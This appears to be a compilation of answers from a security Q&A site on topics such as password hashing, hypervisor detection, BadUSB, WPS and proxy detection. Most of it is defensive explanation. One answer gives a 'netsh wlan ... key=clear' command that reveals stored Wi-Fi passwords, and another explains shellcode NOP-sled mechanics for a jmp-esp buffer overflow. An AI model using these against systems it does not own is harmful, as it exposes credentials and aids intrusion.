A security checklist for choosing an internet hosting service provider for a virtual private server?

These checklists are usually not very realistic and depend on honesty of the responding vendor. You can try looking for providers that have various industry certifications, e.g. SEC 2, ISO 27001, PCI (as a provider, not as a merchant), HIPAA etc.

Check some of the Amazon's https://aws.amazon.com/security/#certifications and look for similar ones.


Is it ethical to use ReCAPTCHA to decode house addresses?

For this to be unethical there would need to be the potential for the information displayed to leak personal information. The numbers shown, while they have a small amount of background, do not show enough context for anyone to glean any extra information.

The privacy issue of the source of these images, ie street view, is much more relevant as it allows anyone in the world to look in your window. Of course, that's public anyway as anyone who walks up your street would be able to see that, although the legalities of it in some places are still disputed.

So no, it does not appear to violate anyone's privacy, and therefore is ethical.


VM hypervisior that doesn't leak that it's a VM to the guest?

Xen, by definition, is virtualized. It assumes a specific guest code for the operating system kernel. It does not try to hide the presence of virtualization, it actually advertises it plainly. This is not the VM you are looking for.

A fully invisible hypervisor is theoretically feasible, but not cheap. The problem is with timing. An hypervisor works by being able to intercept some "sensitive operations", notably related to memory access, and alter their behaviour. The alteration is done with software, which can effectively remain hidden by blocking some memory accesses, emulating an absence of RAM instead. However, such an interception takes a bit of time: handling of an intercepted memory access will use some extra clock cycles over what a non-intercepted call on "raw hardware" would do. Since code can access a clock with clock-cycle precision (not accuracy) through the rdtsc opcode, interception can be detected. Unless the rdtsc opcode is also intercepted, to make it "slower".

In effect, our invisible hypervisor can remain invisible only by "slowing down" the virtual machine, so that it gets enough hidden "extra cycles" for its interceptions. So the guest OS must:

either have access to no external time source (and, if the guest OS has some network, it can access external time sources);
or believe that the hardware is clocked at a lower rate than what the physical hardware really runs at.

As an extreme case, consider emulators. Emulators for older, 1980s-era systems can have clock-cycle accuracy, i.e. make the emulation so perfect that the code running in it is not capable of detecting that it does not run on the genuine hardware. But they can do that only by throwing a lot of computational power at it; the overhead is tremendous (we are talking about a 10x or 20x loss of computing power here). Moreover, emulating timing effects for an Atari ST is a relatively simple task because there is no cache in such a machine.

The Blue Pill is a demonstration of such a so-called "invisible hypervisor", and it generated some hot debate (as they say, "with more heat than light"), mostly because there is no equality between skills at assembly system programming, and capacity to explain things to other people with pedagogy and serenity. Nevertheless, the "blue pill" should be detectable, although finding actual code which does it, published on the Web, might be challenging.

An interesting point raised by the blue pill developer is that hypervisors are supposed to become mainstream and "normal", so that the presence of an hypervisor should not, in the long run, indicate that virtualization is occurring. It is conceivable, and even probable, that future operating systems will always activate an hypervisor upon boot time, so detecting that virtualization is in place would no longer indicate possible foul play. We have not reached that point yet, though.


Why does Debian security guide recommend md5 hashed passwords?

As you can read in this manual that very part dates 2002:

 At the end of the installation, you will be asked if shadow passwords
 should be enabled.  Answer yes to this question, so passwords will be
 kept in the file `/etc/shadow'.  Only the root user and the group
 shadow have read access to this file, so no users will be able to grab
 a copy of this file in order to run a password cracker against it.
 You can switch between shadow passwords and normal passwords at any
 time by using `shadowconfig'.

 Read more on Shadow passwords in Shadow Password
 (http://www.linuxdoc.org/HOWTO/Shadow-Password-HOWTO.html)
 (`/usr/share/doc/HOWTO/en-txt/Shadow-Password.txt.gz').

 Furthermore, you are queried during installation whether you want to
 use MD5 hashed passwords.  This is generally a very good idea since it
 allows longer passwords and better encryption.  MD5 allows for
 passwords longer than 8 characters.  This, if used wisely, can make it
 more difficult for attackers to brute-force the system's passwords.
 Regarding MD5 passwords, this is the default option when installing
 the latest `password' package.  You can change this anytime after
 installation by doing `dpkg-reconfigure -plow passwd'.  You can
 recognize md5 passwords in the `/etc/shadow' file by their $1$ prefix.

 This, as a matter of fact, modifies all files under `/etc/pam.d' by
 substituting the password line and include md5 in it:

            password required pam_unix.so md5 nullok obscure min=6 max=16

 If `max' is not set over 8 the change will not be useful at all.  For
 more information on this read Section 4.10.1, `User authentication:
 PAM'.

 Note: the default configuration in Debian, even when activating MD5
 passwords, does not modify the previously set `max' value.

This is not the default way passwords are hashed in debian anymore.

In the chapter 4.11.1.1 Password security in PAM you can read that the default option is sha512 from Debian Squeeze (2009).

  You have to make sure that the pam_unix.so module uses the "sha512" option to use encrypted passwords. This is the default in Debian Squeeze.

  The line with the definition of the pam_unix module will look
  something like:

   password   [success=1 default=ignore]      pam_unix.so nullok obscure minlen=8 sha512

The problem with these manuals is that there are some parts that are outdated. Community tries to fix these kind of problems if you report them, and you can also volunteer yourself to fix that part of the documentation.


At least part of the hashing must occur server-side. Indeed, whatever the client sends to the server grants access, so if that very same value is just stored as-is on the server, then you have the same issues as plaintext password storage, namely that a single read-only glimpse at your server database gives all the accesses.

In most cases all the hashing is done on the server, because the client is a Web browser than can, at best, do some Javascript, and Javascript is not very good at cryptographic tasks. The client sends the password itself (through HTTPS of course), and the server computes the hash, and compares it with the stored hash value. The attacker cannot simply "pass the hash"; he must send a value that, when hashed by the server, yields the stored hash value.

If the clients are good at making crypto (e.g. a heavy native client for a game), then the bulk of the hashing process can be done on the client side, but there still needs to be a final hash computation done on the server.


Is it safe to handle trusted data in an insecure way?

The meaning of trust
The meaning of trusted is strange in computer security. If something is trusted, then by definition it cannot be harmful in any way. What you are probably asking is instead if data you create should be considered trusted or untrusted. Answering this would depend heavily on your particular situation. Specifically, what matters is not whether or not you would "hack yourself", but whether or not there is anything an attacker can gain by compromising the process that is insecurely processing the data.
One way to think about it is, would it be safe if your configuration file had an exec=some_command option that would automatically execute the command on application startup (which is not particularly uncommon)? If it would be safe, then there is no immediate security reason to safely handle input.
Read up, write down
There is a security model called the Biba Integrity Model. It is characterized by the phrase read up, write down. This means that a lower integrity level (lower privilege) should not be able to modify data that has a higher integrity level. In other words, you can read more privileged data, but you can only write to data that is less privileged than you already are. This integrity model is specifically designed to prevent a privileged process from trusting data that a less privileged process may be able to modify. Through this, you can see that the model permits a given user to modify configuration files of applications run by the same user, but it would not allow a lower user from modifying files operated on by a more privileged user. If data is considered trusted, it is exempt from restrictions. According to this integrity model, is your data trusted? Is there the potential for any undesired write up?
There are three properties governed by the Biba Integrity model. Taken from Wikipedia:

The Simple Integrity Property states that a subject at a given level of integrity must not read data at a lower integrity level (read up).

The * (star) Integrity Property states that a subject at a given level of integrity must not write to data at a higher level of integrity (write down).

Invocation Property states that a process from below cannot request higher access; only with subjects at an equal or lower level.

In other words, is the program parsing your data any more privileged than a program would need to be in order to modify the "trusted" data? If it is no more privileged, than an attacker cannot modify the data to elevate their privileges. The most they can do is get the privileges that they already have. This is why /etc/passwd is not owned by your user, but your media player configs are!
Caveats
There are a few other things you should think about before declaring that this is a fine idea. You must ask yourself if, philosophically and practically, writing knowingly insecure code is a good idea. If it is not excessively difficult to process securely, you must ask yourself a few things.

Will you remember, in the future, that your codebase is insecure, or might you re-purpose it?
Will anyone else use your code? Will they have the exact same threat model as you?
Will you ever run the application privileged, with configuration files writable by lower privileges?
Could the insecurely handled data result in confusing bugs if it is accidentally corrupted?
Do you feel comfortable getting used to writing insecure code? Is it a good habit to get into?


Found the solution. Searched at the wrong place:
-n is part of the core kubectl command:
https://kubernetes.io/docs/reference/kubectl/kubectl/

-n, --namespace string
If present, the namespace scope for this CLI request

So it shows the results for a given namespace if applied.


The only way you can identify "rogue"  remote connections that are inside your network (and because your use case eliminates using the port number as identifier ) is through deep packet inspection on the network.

If you want to know outgoing connection from a specific machine and you have access to the root user of said machine. You can ask the network stack what connections it has ('''ss''' on Ubuntu but all systems have some way)
This will list all connections the system has. (Including sockets)


Administrative recovery control mentions antivirus - error?

Since no one came ahead I tried to leverage another tome in the library.
The "official isc2 guide to the cissp cbk" states that a Recovery Control is intended to reinstate any changes in the access control environment that is caused by an incident, or to offer compensating control in order to return to normal operations.

I argue that antivirus is actually neither, which must mean that an error is to be reported. Sorry for any inconvenience.


Wireless password available in plaintext

The network you've set up uses pre-shared secret authentication. If you're already on the network, then you know the password so seeing it in plain-text isn't that much of a big deal.

In most enterprise environments, they use 802.1x authentication so there's not much to be worried about.

  Could I access the password of wireless networks as they are visible
  (untested) ?

I assume so, as windows saves password of networks you've successfully connected to. It'd be easy to find out, just type in netsh wlan show profile name=MY_OTHER_WIRELESS_NAME key=clear


Kerberos is only available when you have a central server available, for instance, an Active Directory Domain Controller.

No, it does not use salt.
It uses NTLM if it isn't a part of a domain.  Details.
Kerberos does not affect the hashed format of SAM.


Design for secure offline storage of key with two or more parties by key sharing

To summarize your design: you combine arbitrary secret data which can be held by different people with some hash function into a secret key which is then used to protect some secret data.

  What would be a realistic attack for this storage method?

One possible attack against this method is to somehow collect all the separate parts which are needed to create the common secret key. This is the kind of "attack" which makes a good story line for movies, games or fairy tales. And while you exclude malware, keyloggers and weak encryption higher value secrets have to face also attacks like physical brute force, bribing, black mailing, hidden cameras etc - just look at typical movies for more ideas.

But instead of somehow compromising every one of the bearers of the secret parts it might be easier to attack the place where these parts get combined to form the final secret key, because then all information are there in a single place already. And, it is also hard for the participating parties to deny their involvement if they can be seen to participate in constructing the secret key.

Alternatively one can attack even later stages, i.e. the stage were the common secret key is already computed (without knowing the separate inputs) or the stage where the secret key was already used to decrypt the secret data and just grab these secret data.

None of these later stage attacks seem to be out of scope or even considered in your given threat model.


Security implications of using a OAuth-enabled password manager

It certainly is more convenient. But i doubt it would be more secure.

For one thing, such a setup introduces another point of failure compared to the master password solution. The attack surface would be larger as there would be another target (Google), to compromise instead of just your password manager service. How much more risk this adds depends on how you view Google's security.

Is remembering just ONE highly random password that difficult for you? My online passwords are stored with lastpass. All of them have very random passwords ranging from 18 to 30 characters. I only have to remember ONE 10 character password(which i deem secure enough to withstand bruteforce attacks).

You still have to remember the password of your gmail account, which SHOULD be just as long and random as any password you would consider for your master password. So i don't see any benefits to your scheme at all.


How weak is MD5 as a password hashing function ?

There are lots of known cryptographic weaknesses in MD5 which make it unusable as a message digest algorithm, but not all of these also apply in the context of password hashing. But even when we assume that these do not exist, MD5 is still a bad password hashing algorithm for one simple reason: It's too fast.

In any scenario where an attacker obtained the hashed passwords, you have to assume that they also obtained the salt of each password and the pepper.

The only reason to use a pepper is so you can't use a rainbow table precomputed before the attack, because you need a different one for each database. The only reason to use a salt is so you can't use the same rainbow table for the whole password database, because the same password for two different accounts will have a different hash.

The length of pepper and salt don't matter that much. Their only purpose is to make sure that each value is unique. More length doesn't make the attack notably harder (there is more data to hash, but that's a linear increase at most).

Bottom line is, a short salt is all that is needed to make sure that the attacker has to brute-force all possible passwords to find the correct hash for every single account.

And that's where MD5's weakness comes into play: It's a fast and memory-conserving algorithm. That means an attacker can compute the hash of a large number of passwords per second. Using specialized hardware (like FPGA arrays or ASICs) worth a few thousand dollar you can compute the hashes of all possible 8-character passwords for a given salt in mere hours.

For better security, use a slow algorithm like bcrypt. It means that your system needs some more CPU cycles to authenticate users, but the payoff is usually worth it because an attacker will also need a whole lot more processing power to brute-force your password database should they obtain it.


Hiding text string with steganographic method - practical problem

Your "Kra" is hex 4B 72 61
You have 24 bits of information to steg into your image.
You have 4 24-bit pixels of hex 80 80 80 to work with, or 12 color elements of hex 80.


Should current DNS servers respond to obsolete DNS records?

Should I restrict my DNS server to not respond to these query types?

So long as you don't have any DNS records of these types in your zones -- which you probably don't -- there's no need to "restrict" anything. If your DNS server is queried for records of these types, it will (correctly) respond that none exist.


In a SQL server, passwords are hashed in chinese. What algorithm it might be using?

Computing a hash is a math operation on binary data. It produces a fixed size array of bytes, depending on the algorithm. It doesn’t produce characters.

What you’re seeing is encoded output. The SQL utility you’re using has decided to output the byte array as some form of Unicode. Instead, you need to change the output encoding of your SQL so you can view the data in a way that makes sense to you.

If you’re using Microsoft TSQL, you could look at a function like master.sys.fn_varbintohexstr to output the data in hexadecimal.


How does an entity on a network (e.g. sysadmin, security software) identify that a user is connecting to the internet with a proxy?

For standard HTTP proxies it is enough to look at the first bytes of each TCP connection, which means it can already be detected without doing too deep inspection. A HTTP proxy requests looks different from a normal HTTP request, i.e.

 non-proxy: GET / HTTP/1.1
 proxy:     GET http://example.com/ HTTP/1.1

You have similar differences for HTTPS, where a non-proxy connection starts with the ClientHello from the TLS handshake while a HTTP proxy connection starts with the use of a CONNECT method. SOCKS proxies similarly can be detected when looking at the first few bytes from the client.

For other kinds of special (non-standard) proxy protocols or for VPN solutions  they probably simply detect and block access to specific destination IP and port, see How to Detect and Block UltraSurf program traffic and How to Detect and Block Hotspot Shield program traffic(openvpn application).

I'm pretty sure that you will be able to circumvent these detection by using your own tunnels, i.e. tunneling through SSH or using tools like http tunnel. But, initial circumvention attempts by most users will probably be detected and if you punish policy violations hard enough most users will not try again with a different circumvention technology.

  ... they are potential avenues for delivering advanced threats such as viruses, botnets and malware

This effectively means that by allowing arbitrary connections to the internet you increase the chance of getting infected by malvertisement or hacked or otherwise malicious web sites. This is definitely true.

And once the malware is inside most products will probably not help much to detect the CnC communication of the malware because the malware uses their own protocols or built their CnC communication based on public sites. To cite from a report by FireEye 2013 "Malware Callbacks":

  To evade detection, CnC servers are leveraging social networking sites like Facebook and Twitter for communicating with infected machines. Also, to mask exfiltrated content, attackers embed information inside common files, such as JPGs, to give network scanning tools the impression of normal traffic.


Can you resalt hash/rainbow tables after finding the salt for something?

No.  Every hash would have to be recalculated, essentially reproducing the work that was needed to create the original rainbow table.

Hashing is basically a mathematical formula.  You have a formula (hashing algorithm) of X + 5 = Y, where X is the password and Y is the hash.  You use a rainbow table to store all possible values of X with their Y results.  If you change or add a salt then the formula is now different too (like X + 6 = Y).  So while the values of X wouldn't have changed the values for Y would all be different and need to be recalculated.

Typically the salt is stored alongside the password hash in a database and is not intended to be a secret (at least to those with password database access).  If it isn't stored there it is either stored elsewhere or is a known piece of information (username, system secret, SSID).  The source code of the software that validates logins will typically reveal how the salt is obtained.


The threats is that if anybody of the team members is crooked he/she could guess the correct password. Invalid login attempts - it seems to me - are because of 3 reasons:

spelling mistakes for password or user name
wrong password or username
invalid attempts (hitting enter too early, no password at all etc)

Now for the spelling mistake it is very possible that it is easy to guess the password. If the wrong password is used then it may be the password for a different service. So the obvious threat is that anybody that has had access to the logfiles may abuse this information and impersonate somebody.

You can convince decision makers by asking them how they would react if their accounts would be compromised. It would be a bonus for you if you can find an actual account of one of the decision makers and a bad password attempt.

But in the end they are responsible for making the right choice. If they decide just to delete the files then you may protest, but in the end you'll have to decide if your moral obligation to the users weighs more than your job.

Personally I would inform the users, but I don't own a company.


Is there a security benefit of using a Virtual Machine over dual booting?

If you plan to run malware or at least untrusted binaries, then I would recommend running it in VM (or even segmented hardware).

You can't trust what the "dirty" system is doing with other partitions, boot sectors, or BIOS, when it is booted.

Additional advantage is that most of virtualization software can provide you with some kind of snapshots.  You can the use the snapshots as:

take a snapshot
run untrusted software / malware
revert the system state to trusted state before running malware

It should be noted that even running in Virtual Machine is not 100% safe of problems. Time to time, ways of how to escape the sandbox of the virtual machine are found.  For example CVE-2014-0983


Does Wannacry spread outside its private subnet to adjacent private subnets?

Answer to your question is yes, it can span across the network (could be private network/public network) depend on the way the code has worm has been programmed.

The wannacry worm can simply identify the routes which are available on the infected host. For example 'route print' will show all the active routes connected to the infected machine. Once this routes are available the worm can spread or started infecting other vulnerable machines on these networks.

A sample output of 'route print' - please note the active routes:

Note: This happened to us and few of our branch networks on separate private IP range got affected.


Is crypto.js vulnerable to heartbleed attack?

Crypto.js does not use OpenSSL, it is interoperable with some of the same algorithms, and is not vulnerable to Heartbleed. All the more so because usually you use crypto.js on the client, not on the OpenSSLified server.


Should you use Radius and LDAP together?

LDAP is a database with user information (including passwords). Radius is a protocol for authentication (and other things) but does not contain any user information by itself. This means you could use Radius to authenticate against various kinds of password storage, including an LDAP database.

Support for Radius can be found in lots of devices and with simple interface any authentication protocol can be used which is supported by the Radius server. Depending on the radius server this can be simple password storage, LDAP, 2FA... . Thus if a specific system directly supports LDAP authentication you can use it, if it supports only Radius (more common) than you could use a Radius server with LDAP support and this way get the LDAP authentication to the system.


SOC 2 audit for small business (6 employees) with no IT department

When I kick off a SOC2 audit I screen at least three vendors based on he following criteria:

Duration of audit
Do they provide a pre-assessment checklist/self assessment
Duration from end of audit until report delivery
Cost
Sample work product


Is all the alarmism around BadUSB really called for with respect to host devices?

BadUSB is largely overrated. It is a very, very old attack that simply got a lot of recent press coverage, like IDN homograph attacks or filename unicode reversal (or has that one not gotten press yet?). It's an issue, sure, but it is nothing new.

So, in theory, a terminal emulator would need to be opened, and a window would thus have to at least initially be normally [...]

Actually, there are quite a few ways to more covertly execute code. There was a DEF CON talk on this subject recently, showing ways that custom keyboards and mice could cheat at high-stakes video game tournaments by triggering the execution of cheat codes on the computer, despite the monitors being diligently monitored to ensure no one cheats.
There are other things malicious USB devices can do than just emulate an HID, such as attempting to exploit any of your multiple class drivers. How often do you think some obscure karaoke microphone driver has been audited for security issues?

Would rebooting at the least not be required to alter a workstation's boot sequence, firmware, BIOS, or other systems that cannot be completely sanitized simply by reinstalling one's operating systems?

Modification of the BIOS can compromise a system even without rebooting it. After resuming from suspend, the system re-reads several ACPI tables, including the executable DSDT. A modified DSDT might be able to trigger arbitrary code execution as a computer resumes from sleep. I believe there are also ways to trigger execution of code on certain ACPI events such as plugging in a HDMI cable.
An emulated USB keyboard could, in theory, trigger such a reboot through key combos, and can perform malicious acts like disabling secure boot in the BIOS, assuming a BIOS administration password is not set. This is not likely an issue for anything but targeted attacks due to the variability of BIOSes.
Another issue is USB bus sniffing. USB (2.0) is a half-duplex broadcast protocol, which means that a USB slave addresses the host directly, but the host sends the response to all USB devices, and politely asks only the recipient to listen to it. Because of this, a malicious USB device can receive any data sent from the host to a USB slave on the same hub. This may or may not be a problem for you. If USB devices sniffing, say, data being sent to a USB WiFi antenna or an external USB hard drive is problematic for your threat model, then this is yet another thing USB device can do.

This is not an issue for USB 3.0 (SuperSpeed). According to this website, USB 3.0 is a dual-simplex unicast bus, meaning the xHCI hub is not exactly a hub so much as a switch. It will route USB packets to their intended destination rather than broadcasting them. This is meant to be a performance improvement, but it has an unintended security benefit as well.

The USB devices themselves, once infected, or even just connected to untrusted hosts, would seem impossible to ever trust again under any circumstances, impossible to knowably sanitizer or re-bless with confidence that there wasn't some deeply hidden, and thus undetected, malware infection still present on the device.

Assuming you don't open it up and read the firmware from the microcontroller, that is true. Compromised firmware can only be detected by reading it directly from hardware, with very few exceptions. It actually is not necessarily as stealthy as a software infection, as software can be made volatile, given advanced anti-debugging features, highly obfuscated, and delete individual components of itself after executing them. This is contrasted with maliciously modified firmware which is, fundamentally, completely inert and helpless when it is being analyzed. Simply checking the firmware against a known good copy is enough to verify that it has been modified.

But, the question remains, what is the salvageability of a host device's trustworthiness after being left unattended in the care of an evil maid

This seems like a different question from the one in the title. The answer depends on your threat model, so you need to take into account the capabilities of your adversary. Is the evil maid particularly skilled? How valuable are your assets? In China for example, corporate espionage is ubiquitous. Bringing a company laptop to a hotel in China can lend itself to a literal evil maid attack, sometimes with very high levels of sophistication. If you are simply bringing your laptop with your personal files to a friend's house, at most you would just want to make sure the drive is encrypted.
Note that you are able to perform measured boot, which mitigates evil maid attacks. This is done by having the TPM measure a read-only part of the BIOS called the CRTM. This chain of trust continues upward until the kernel itself is verified, which can then verify your filesystem. This technique makes it exceedingly hard to tamper with a system, even if you can modify the BIOS, option ROMs, the bootloader, etc. A TPM-based chain of trust:

is the situation any different following a device being connected to untrusted USB devices entirely while under owner-supervision in the age of BadUSB

Yes, for multiple reasons. First off, your computer's BIOS is extremely trusted, meaning that it is highly sensitive to tampering. A modified BIOS can inject code into your kernel, trap events using SMM, or even communicate over the network. A USB device on the other hand is limited to what class drivers your system supports. An emulated keyboard will not be able to guess your admin/root password or do anything that could not be done by a blind person on your computer.

In short, I am seeking validation of my conjecture that the dire need for retirement from production, security-critical employment of USB devices that leave owner control or connect to untrusted hosts is not applicable to workstation hosts which are connected to by untrusted USB devices.

Again, this depends entirely on threat model. USB device are far more likely to be abused to exploit a filesystem driver or partition table parser, despite such vectors involving advanced software exploitation. It is only a dire issue when using modern systems that support DCI, a form of low-level JTAG debugging ("probe mode", lower even than the Intel ME's "ring -3", although the ME can also be compromised using DCI) which can be done over USB on some systems whose BIOS vendors have forgotten to disable DCI support.
In summary, malicious USB devices can do any the following:

Emulate HID devices like keyboards and mice ("BadUSB"). Mitigation involves configuring your computer to only accept USB devices acting as an HID from limited sources, e.g. using udev.
Passively sniff content being sent from the host to a USB slave on the same hub. Isolate individual USB devices on different hubs if you do not want them to be able to sniff traffic going to them. Note that some newer computers' EHCI root hub is actually a virtual hub, part of the same physical xHCI root hub. The virtual hub operates in broadcast mode.
Control the system with low-level debugging for BIOSes which do not lock DCI. Older firmware or a BIOS whose vendor locks the IA32_DEBUG_INTERFACE MSR is not directly affected, but may still be vulnerable to hijacking of the ME over DCI.
Attempt to exploit filesystem drivers or USB class drivers through malicious input. Using a hardened kernel or reducing the amount of kernel drivers you support reduces this risk.

Whether or not this is a dire situation depends entirely on your threat model. You should not be plugging untrusted devices into your computer, regardless of the interface they use, and you should not assume an uncompromised device will remain that way when plugged into untrusted hosts. Using a USB device with read-only firmware can help reduce this specific risk.


Is access to the caller API in mobile phones a real security threat?

In general, OS vendors implement what network provider wish to see, and network providers are very wary about interfacing the bits which do the actual phoning, with user-provided code. They don't want customers refusing to pay their bills and defending themselves by saying that they did not pass the calls, but some virus on their phone did. Such a defence would have some non-negligible chance of success in court. There's big money at stake here, so caution is applied. "Caution" meaning here keeping as much internal separation as is possible. Not making the caller API available to application seems to participate to this general separation principle.


Nmap shows different results when connected to VPN

Nmap scan report for dewalt.com (23.10.143.98)
...
Nmap scan report for dewalt.com (104.95.44.203)

Looks like you are scanning different systems here (look at the IP address).
Probably the DNS for the domain is setup in a way to return different IP address depending on where the requests comes from, so that the user gets its "nearest" system for best connectivity. And these can all be systems with different setups.


The main difference between a MAC and a digital signature is that with a MAC, the same key is used to generate the MAC value and to verify it; whereas with a signature, distinct keys are used. In a signature, the generation key and the verification key are mathematically linked together, but it is not feasible to recompute the generation key from the verification key -- which is why the verification key can be made public while the generation key is kept private.

Signatures are for asymmetric situations, where the people who can verify signatures should not be given the power to generate signatures. If this feature is not needed in your system, then a MAC will be simpler.

Combining MAC and encryption, or a signature and encryption, is not easy (you can easily do something which works, but not easily do something which is secure). So you are encouraged to rely on an already thought-out protocol which does the job -- especially if you are "new to security". For synchronous data transfers, use SSL/TLS. For asynchronous communications (such as emails), use OpenPGP. Opensource implementations of both already exist in many languages. The protocol which is easiest to design and implement securely is the protocol which has already been designed and securely implemented by someone else.


Data URI is a standard for embedding the data you want to use directly within your page (that is - not be in need to use an external file). This is handled by the browser and is essentially a Base64 version of the binary file (a picture in your case).

So, client wise, you are as safe as your browser is.

I did not fully understand your question but you are asking whether such an encoding schema can be used to push malicious payload to a server - probably yes. It all depends on how whatever is received by the web application is later processed. There is nothing like a "generic exploit" in that case and the Base64 data you send are not special per se.


The problem that you describe (confidentiality of your users' sensitive information) is not unlike the problem that many cloud-based service providers face.  This is especially true for companies in heavily regulated industries, such as healthcare, finance, etc., that must comply with compliance regulations such as HIPAA, PCI, and more broadly, GDPR.

In a case where another entity (e.g. a VPS provider, or a hosting provider) has control of the physical resources that your application runs on, it can be a challenging technical problem to prevent this entity from gaining access to your users' sensitive information.  Even if you do server-side encryption, this entity has access to the physical RAM on the server where the encryption/decryption takes place, therefore the entity can access the plaintext immediately before it is encrypted (or immediately after it is decrypted).

One solution to this problem is to encrypt all sensitive information on the client-side.  This is what ProtonMail does.  But, even this has its caveats.

So, as an alternative to a technical solution to this problem, many companies rely on a legal solution instead.  Most reputable VPS providers publish a comprehensive data privacy policy, that specifically addresses these concerns.  For example, see Amazon AWS' privacy policy at https://aws.amazon.com/compliance/.  This is often considered to be sufficient to satisfy most regulatory compliance requirements.  However, if this is not enough to satisfy your requirements (or your users' requirements), then you may want to consider hosting your own server in a highly secure datacenter.


Digital Certificate deployment: using two certs for each user?

In a sane organization, it is actually necessary to have two distinct keys, one for signing and one for encryption.

When you receive some encrypted data (e.g. an encrypted email, as in S/MIME or PGP), you normally store the encrypted data (that's what happens by default for email). Therefore, if your private key becomes "unavailable", you cease to be able to read previously stored data: this is a data loss situation. "Unavailability" of the private key can take multiple forms, including hardware failure (your dog chew your smartcard to death) or "hardware" failure (the key holder is hit by a bus, or unceremoniously fired, and his successor should be able to read previously received business emails). To remove the risk of data loss through key loss, a backup of the private key must be stored somewhere (e.g. printed on a paper, in a safe)(this is often called escrow). In short words: encryption keys MUST be escrowed.

Loss of a signature private key does not imply any kind of data loss. Signatures which where previously generated keep on being verifiable. Recovering after a signature key loss involves getting a new key, and that's all. So there is no strong need for key backup here. On the other hand, signatures are normally meant to have legal value (there is little point in requesting a signature if you cannot use it against the signer, should he later on fail to follow on his promises). The legal value is conditional to the impossibility for any other individual than the key owner to generate a signature; this does not mix well at all with an escrow on the key. Hence, a signature key MUST NOT be escrowed.

Since a key cannot be both escrowed and non-escrowed simultaneously, you need two keys.


Is It More Secure to Use Firewalls from Two Different Vendors?

It's an interesting question, and actually, I've seen setups like this in my job, for example, I've seen one company use a Cisco ASA and then right behind it a Checkpoint firewall, and to be honest I can see the method to the madness.

However, considering a lot of firewalls issues are actually caused by a misconfiguration as stated in your post, so realistically, I don't see it making a massive impact.

When vulnerabilities are found in firewalls (and other products) most of the time they're rectified by the product security response teams very quickly, and usually all that's required is putting a new version of firmware on the device. The faster you carry out this upgrade the better. In general, I don't see this making a huge difference, if your firewall is proactively maintained and security threats are responded to quickly, I am not sure spending extra money and resources on maintaining two different firewalls is all that worth it.

In the end, it comes down to your threat model and your budget, I would say if you are protecting something really valuable, two different firewalls from different vendors is potentially beneficial - in the end, it is quite hard to answer this question as it does, in reality, come down to your threat model.


Way to combine encrypted tar and encrypted symmetric key with which tar was encrypted?

I think you just need to use PGP/GPG encryption and encrypt the archive using your private key (under the hood PGP/GPG will do the same as you described: it will generate a random symmetric key, encrypt the body of the payload with it, then will encrypt the symmetric key with your private asymmetric key).

This will give you a single encrypted file.  All that is left is to incorporate your public key into the base system of your board (you can also publish you public key on your website, so users will be able to decrypt the archive if they want to.

Most manufacturers are implementing this approach and they are using the embedded public key to ensure that the update/upgrade process works with firmwares produced by the manufacturer (the one who has the corresponding private key).  This approach works until there is a flow in your board's system that would allow an attacker to tamper with the embedded public key.


Can CVEs (or any vulnerability) be dependent on one another?

A CVE is a vulnerability description, ie. a document stating that some security property has been found to be broken.

As explained in Ohnana's comment, a CVE might indeed state that to be exploitable some other security properties not part of this CVE should also be broken (typically CVE requiring a specific access from the attacker, whether it is local, privileged, in position to tamper network traffic, etc.).

However the CVE will not limit this to the use of another specific CVE. It will not tell for instance that this CVE is exploitable if a local access has been gained by using specifically this other CVE. It will just say that this CVE is only exploitable with a local access.

However, while there is not strict dependency between CVEs, there can still be a kind of link between them because, when an important enough (or suspected to be important) vulnerability is discovered in some widespread software, a lot of security researchers will dig into this and possibly make other discoveries.

Then, it will be up to determine how such discoveries should be classified:

In the scheme you describe, which I understand as "using this vulnerability allows the attacker to do even more harm as previously expected by proceeding in a certain way", this will most likely ends-up as an update of the first CVE. It means that the vulnerability's impact seems to have been underestimated and needs to be revised.
However, most often such discoveries are independent vulnerabilities. Each of them will get its own CVE and can be exploited independently. However it is possible that the same fix can solve several of such CVEs since they are likely to concern the same part of the software (the one under scrutiny by all security researchers). This is useful because it will help to increase the fix quality. Shellshock with its list of CVEs published after the first discovery seems a good example.
At last it is also possible that several discovered issues, while being independent from each other and not necessarily being all security issues (and therefore not needing a distinct CVE), may combine to increase the initial CVE threat. For instance, CVE-2015-3456 mentions a vulnerability affecting Qemu's Floppy Disk Controller in some versions of Xen and KVM and allowing to escape the VM; while this issue should be restricted to environment having floppy drive emulation enabled, researchers have discovered that "if the administrator explicitly disables the virtual floppy drive, an unrelated bug causes the vulnerable FDC code to remain active and exploitable by attackers".


Bufferoverflow - jmp esp. Do I need nops sled? Does call esp also work?

I figured out an answer to the second question. According to this (https:// www.offensive-security.com /metasploit-unleashed/alphanumeric-shellcode/), the shellcode generated by Metasploit needs to get its absolute memory address to work. First five instructions of the shellcode serve this purpose. These are:

Important part are the fcmovnu and fnstenv instructions. At the end of this blog post it is explained how these instructions serve to obtaining current EIP.

Fnstenv instruction is saving floating-point-unit environment to supplied address. It writes 28 bytes, and the instruction pointer is located on 12 byte offset. I think that fcmovnu is just a random floating-point instruction used to initialize the FPU's environment.

http:// www.website.masmforum.com /tutorials/fptute/fpuchap3.htm#fstenv (link edited because I don't have enough rep to post more then two links)

So why are 9 NOPSs needed?
Fnstenv is writing 28 bytes on address ESP - 12 ("fnstenv [edi-0xc]" and esp is moved to edi instruction before).

If the shellcode is just under ESP, without NOPs, part of the shellcode is overwritten (mainly the next instruction "pop eax").

If there are 9 NOPs, this is what happens:

Fnstenv overwrites 12 bytes before the ESP (we don't care about these).
Then it overwrites 9 NOPs after the ESP.
28 - (9 + 12) = 7. 7 more bytes to write.
These 7 bytes are overwriting the start of the shellcode - but only the instructions that are already executed: mov, fcmovnu and fnstenv - these are together 7 bytes. The next instruction "pop eax" is not overwritten and the shellcode works.

Looking at a core dump confirms this explanation.


Usually account lockouts doesn't terminate a session, otherwise that could be a potential DOS scenario. For changing passwords, most of the companies that I've worked with, we also didn't terminate the session, but we had a SIEM and SOC in place that would contact the user via phone when that happens.
If you have mitigations in place (such as a SIEM/SOC monitoring login attempts, or any kind of user behaviour analysis), I would say that the risk of not implementing session termination on account lockout would be low.


Where does the WPS Pin fit into the 4-way-handshake?

WPS is used only once, to exchange the actual PSK key.  The 4-way handshake you've posted is used for key exchange at the beginning of each connection, while WPS is only used to transfer the configuration.

WPS uses a series of 8 packets that are sent under a separate DH key exchange, and are not encrypted under WPA.  There's a great description inside this paper by Viehbock on attacking WPA.


Why does Google require re-authentication before being able to start the password change process?

